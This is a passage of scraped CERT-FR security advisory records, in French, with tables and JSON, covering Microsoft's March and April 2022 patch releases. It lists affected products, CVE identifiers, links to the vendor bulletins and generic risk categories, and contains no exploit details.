"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24532 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24532"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26898 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26898"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26924 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26924"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26901 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26901"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23259 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23259"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26896 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26896"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26910 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26910"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24473 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24473"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26897 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26897"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24548 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24548"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24513 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24513"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24767 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24767"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26921 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26921"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24765 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24765"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23292 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23292"
}
],
"reference": "CERTFR-2022-AVI-337",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-04-13T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es,\nune usurpation d\u0027identit\u00e9, une ex\u00e9cution de code \u00e0 distance, une\n\u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-227
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une exécution de code à distance, un déni de service, une usurpation d'identité, un contournement de la fonctionnalité de sécurité, une atteinte à la confidentialité des données et une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft Exchange Server 2013 Cumulative Update 23 | ||
| Microsoft | N/A | Skype Extension pour Chrome | ||
| Microsoft | Azure | Azure Site Recovery VMWare to Azure | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | N/A | HEIF Image Extension | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 21 | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.7 (includes 16.0 – 16.6) | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 11 | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8) | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 22 | ||
| Microsoft | N/A | HEVC Video Extensions | ||
| Microsoft | N/A | Raw Image Extension | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | VP9 Video Extensions | ||
| Microsoft | N/A | Visual Studio Code | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 10 | ||
| Microsoft | N/A | Microsoft Defender pour Endpoint pour Android | ||
| Microsoft | N/A | HEVC Video Extension | ||
| Microsoft | N/A | Intune Company Portal pour iOS | ||
| Microsoft | N/A | Paint 3D | ||
| Microsoft | N/A | Microsoft Defender pour IoT | ||
| Microsoft | N/A | Microsoft Defender pour Endpoint pour Linux | ||
| Microsoft | N/A | Microsoft Defender pour Endpoint pour Mac | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 64 bits |
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft Exchange Server 2013 Cumulative Update 23",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Skype Extension pour Chrome",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Site Recovery VMWare to Azure",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEIF Image Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 21",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.7 (includes 16.0 \u2013 16.6)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 11",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 22",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Raw Image Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "VP9 Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio Code",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender pour Endpoint pour Android",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Intune Company Portal pour iOS",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Paint 3D",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender pour IoT",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender pour Endpoint pour Linux",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender pour Endpoint pour Mac",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 64 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-24515",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24515"
},
{
"name": "CVE-2022-24526",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24526"
},
{
"name": "CVE-2022-24520",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24520"
},
{
"name": "CVE-2022-24469",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24469"
},
{
"name": "CVE-2022-23266",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23266"
},
{
"name": "CVE-2022-24509",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24509"
},
{
"name": "CVE-2022-24519",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24519"
},
{
"name": "CVE-2022-24456",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24456"
},
{
"name": "CVE-2022-24452",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24452"
},
{
"name": "CVE-2022-24453",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24453"
},
{
"name": "CVE-2022-24470",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24470"
},
{
"name": "CVE-2022-24462",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24462"
},
{
"name": "CVE-2022-24501",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24501"
},
{
"name": "CVE-2022-23277",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23277"
},
{
"name": "CVE-2022-24468",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24468"
},
{
"name": "CVE-2022-23282",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23282"
},
{
"name": "CVE-2022-24471",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24471"
},
{
"name": "CVE-2022-23300",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23300"
},
{
"name": "CVE-2022-23278",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23278"
},
{
"name": "CVE-2022-23265",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23265"
},
{
"name": "CVE-2022-24464",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24464"
},
{
"name": "CVE-2022-22007",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22007"
},
{
"name": "CVE-2022-24517",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24517"
},
{
"name": "CVE-2022-24510",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24510"
},
{
"name": "CVE-2022-23295",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23295"
},
{
"name": "CVE-2020-8927",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-8927"
},
{
"name": "CVE-2022-24451",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24451"
},
{
"name": "CVE-2022-24461",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24461"
},
{
"name": "CVE-2022-24506",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24506"
},
{
"name": "CVE-2022-24512",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24512"
},
{
"name": "CVE-2022-24511",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24511"
},
{
"name": "CVE-2022-24518",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24518"
},
{
"name": "CVE-2022-24457",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24457"
},
{
"name": "CVE-2022-24522",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24522"
},
{
"name": "CVE-2022-23301",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23301"
},
{
"name": "CVE-2022-24463",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24463"
},
{
"name": "CVE-2022-22006",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22006"
},
{
"name": "CVE-2022-24465",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24465"
},
{
"name": "CVE-2022-24467",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24467"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24509 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24509"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24471 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24471"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24518 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24518"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23282 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23282"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-22006 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22006"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24467 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24467"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24453 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24453"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23301 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23301"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2020-8927 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-8927"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24515 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24515"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24462 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24462"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24469 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24469"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24520 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24520"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24456 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24456"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23277 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23277"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24468 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24468"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24512 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24512"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24526 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24526"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24470 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24470"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24517 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24517"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24501 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24501"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23295 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23295"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-22007 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22007"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24461 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24461"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24465 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24465"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24522 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24522"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24519 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24519"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24463 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24463"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23278 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23278"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23265 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23265"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24457 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24457"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23266 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23266"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24511 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24511"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24452 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24452"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23300 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23300"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24451 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24451"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24506 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24506"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24510 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24510"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-24464 du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24464"
}
],
"reference": "CERTFR-2022-AVI-227",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-03-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une ex\u00e9cution de code \u00e0 distance, un d\u00e9ni de\nservice, une usurpation d\u0027identit\u00e9, un contournement de la\nfonctionnalit\u00e9 de s\u00e9curit\u00e9, une atteinte \u00e0 la confidentialit\u00e9 des\ndonn\u00e9es et une \u00e9l\u00e9vation de privil\u00e8ges.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 08 mars 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-132
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une élévation de privilèges, une atteinte à la confidentialité des données, une usurpation d'identité, un déni de service, un contournement de la fonctionnalité de sécurité et une exécution de code à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | OneDrive pour Android | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | N/A | PowerBI-client JS SDK | ||
| Microsoft | N/A | Microsoft Teams pour Android | ||
| Microsoft | Azure | Azure Data Explorer | ||
| Microsoft | N/A | SQL Server 2019 pour Linux Containers | ||
| Microsoft | N/A | Microsoft Teams Admin Center | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8) | ||
| Microsoft | N/A | Microsoft Teams pour iOS | ||
| Microsoft | N/A | HEVC Video Extensions | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | VP9 Video Extensions | ||
| Microsoft | N/A | Visual Studio 2019 pour Mac version 8.10 | ||
| Microsoft | N/A | Visual Studio Code | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | HEVC Video Extension | ||
| Microsoft | N/A | Microsoft Dynamics GP | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 8.2 |
References
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "OneDrive pour Android",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "PowerBI-client JS SDK",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Teams pour Android",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Data Explorer",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "SQL Server 2019 pour Linux Containers",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Teams Admin Center",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Teams pour iOS",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "VP9 Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio 2019 pour Mac version 8.10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio Code",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics GP",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 8.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-23254",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23254"
},
{
"name": "CVE-2022-21986",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21986"
},
{
"name": "CVE-2022-23273",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23273"
},
{
"name": "CVE-2022-21844",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21844"
},
{
"name": "CVE-2022-21965",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21965"
},
{
"name": "CVE-2022-21991",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21991"
},
{
"name": "CVE-2022-23271",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23271"
},
{
"name": "CVE-2022-22004",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22004"
},
{
"name": "CVE-2022-22003",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22003"
},
{
"name": "CVE-2022-21957",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21957"
},
{
"name": "CVE-2022-21927",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21927"
},
{
"name": "CVE-2022-21926",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21926"
},
{
"name": "CVE-2022-22709",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22709"
},
{
"name": "CVE-2022-22716",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22716"
},
{
"name": "CVE-2022-23256",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23256"
},
{
"name": "CVE-2022-23252",
